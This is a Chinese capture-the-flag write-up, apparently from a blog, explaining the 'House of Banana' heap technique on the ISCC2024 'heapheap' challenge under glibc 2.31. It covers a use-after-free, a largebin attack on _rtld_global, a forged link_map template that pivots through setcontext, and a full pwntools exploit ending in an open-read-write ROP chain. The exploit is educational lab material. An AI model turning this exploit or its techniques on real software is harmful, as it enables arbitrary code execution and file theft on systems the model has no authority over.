[CTF]-PWN:House of Banana堆块题型综合分析

搭配largebin attack:

例题(ISCC2024 heapheap):

版本:glibc2.31

知识点:largebin attack、house of banana、uaf

查看保护

查看ida

delete存在uaf漏洞

largebin attack手法:

#创建4个堆块,其中第1个堆块和第3个堆块为可入largebin大小,第3个堆块大小小于第一个堆块,剩余的两个为保护堆块,大小适当即可

#释放堆块1,申请一个比堆块1更大的堆块

#释放堆块3

#修改堆块1的bk_nextsize为目标地址-0x20

#再申请一个比堆块1大的堆块,向目标地址写入堆块3的地址

伪造link_map:

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr 此处为指针数组array
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29] 此处除以8为i
link_map+=b"flag\x00\x00\x00\x00" #array[0]
link_map+=p64(chunk_base) #chunkbase为伪造link map的地址
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) #此处为ret 单纯只是ret
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68 read第一个参数
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70 此处为read的第二个参数
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88 此处为read第三个参数
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480 在setcontext执行后为rsp
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8 setcontext会跳转执行rcx
link_map+=p64(0)*36
link_map+=p64(0x800000000)

伪造link map主要是想利用结构体中的函数执行array[i]()

也就是执行read,将orw写入目标地址

这里可以直接照模板写

gdb查看原有link map操作:

rtld_global的指针是指向link map结构体的,所以可以查看其内容知道link map地址

输入命令:x/4gx &_rtld_global

输入命令:p *((struct link_map*)0x00007f9e6b7cd190)

 

完整exp:

from pwn import*
context(arch='amd64')
p=process('./heapheap')

def alloc(index,size):
    p.sendlineafter(b'Your choice:', b'1')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.sendlineafter(b"Size:\n", str(size).encode())
def show(index):
    p.sendlineafter(b'Your choice:\n', b'2')
    p.sendlineafter(b"index:\n", str(index).encode())
    p.recvline()
def edit(index,content):
    p.sendlineafter(b'Your choice:', b'3')
    p.sendlineafter(b"index:", str(index).encode())
    p.sendafter(b"context:",content)
def free(index):
    p.sendlineafter(b'Your choice:', b'4')
    p.sendlineafter(b"index:\n", str(index).encode())

alloc(0,0x428)
alloc(1,0x500)
alloc(2,0x418)
free(0)
alloc(3,0x500)
show(0)
fd=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('./libc-2.31.so')
libcbase=fd-0x430-0x30-libc.sym['__malloc_hook']
success("libcbase="+hex(libcbase))
payload=b'a'*0x10
edit(0,payload)
show(0)
p.recv(0x10)
oneheap=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(oneheap))
heapbase=oneheap-0x290
rtld_global=libcbase+0x228060-0x6000
free(2)
chunk_base=heapbase+0xbd0
print("l_next="+hex(rtld_global+0x16e0))
print("l_real="+hex(chunk_base))
print("l-info[26]="+hex(chunk_base+0x110))
print("l-info[27]="+hex(chunk_base+0x110+0x20))
print("rsp="+hex(chunk_base+0x1f8))
print("setcontext_3d="+hex(libcbase+libc.sym['setcontext']+0x3d))
print("pop_rdi="+hex(libcbase+0x23b6a))
print("chunkbase="+hex(chunk_base))
print("read="+hex(libc.sym['read']))
payload=p64(fd)*2+p64(oneheap)+p64(rtld_global-0x20)
edit(0,payload)
alloc(4,0x500)
pop_rdi=libcbase+0x23b6a
pop_rsi=libcbase+0x2601f
pop_rdx=libcbase+0x119431
setcontext_3d=libcbase+libc.sym['setcontext']+0x3d
l_next=rtld_global+0x16e0

link_map=p64(0)
link_map+=p64(l_next)
link_map+=p64(0)
link_map+=p64(chunk_base) #l_real
link_map+=p64(0)*28
link_map+=p64(chunk_base+0x110) #l-info[26] chunkbase+256
link_map+=p64(chunk_base+0x110+0x20)#l->l_info[26]->d_un.d_ptr
link_map+=p64(chunk_base+0x110+0x10)#l-info[28]
link_map+=p64(0x20) #l-info[29]
link_map+=b"flag\x00\x00\x00\x00"
link_map+=p64(chunk_base)
link_map+=p64(setcontext_3d)
link_map+=p64(pop_rdi+1) 
link_map+=p64(0)*12
link_map+=p64(0) #rdi rdx+0x68
link_map+=p64(chunk_base+0x1f8) #rsi rdx+0x70
link_map+=p64(0)*2
link_map+=p64(0x100)#rdx rdx+0x88
link_map+=p64(0)*2
link_map+=p64(chunk_base+0x1f8) #rsp rdx+0xa0 chunk+480
link_map+=p64(libcbase+libc.sym['read']) #rcx rdx+0xa8
link_map+=p64(0)*36
link_map+=p64(0x800000000)
edit(2,link_map)
p.sendlineafter(b'Your choice:',b'5')
flag_addr = chunk_base+0x130
orw=p64(pop_rdi)+p64(flag_addr)+p64(pop_rsi)+p64(0)+p64(libcbase+libc.sym['open'])
orw+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['read'])
orw+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(heapbase+0x2a0)+p64(pop_rdx)+p64(0x50)+p64(0)+p64(libcbase+libc.sym['write'])
p.send(orw)
p.interactive()
  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值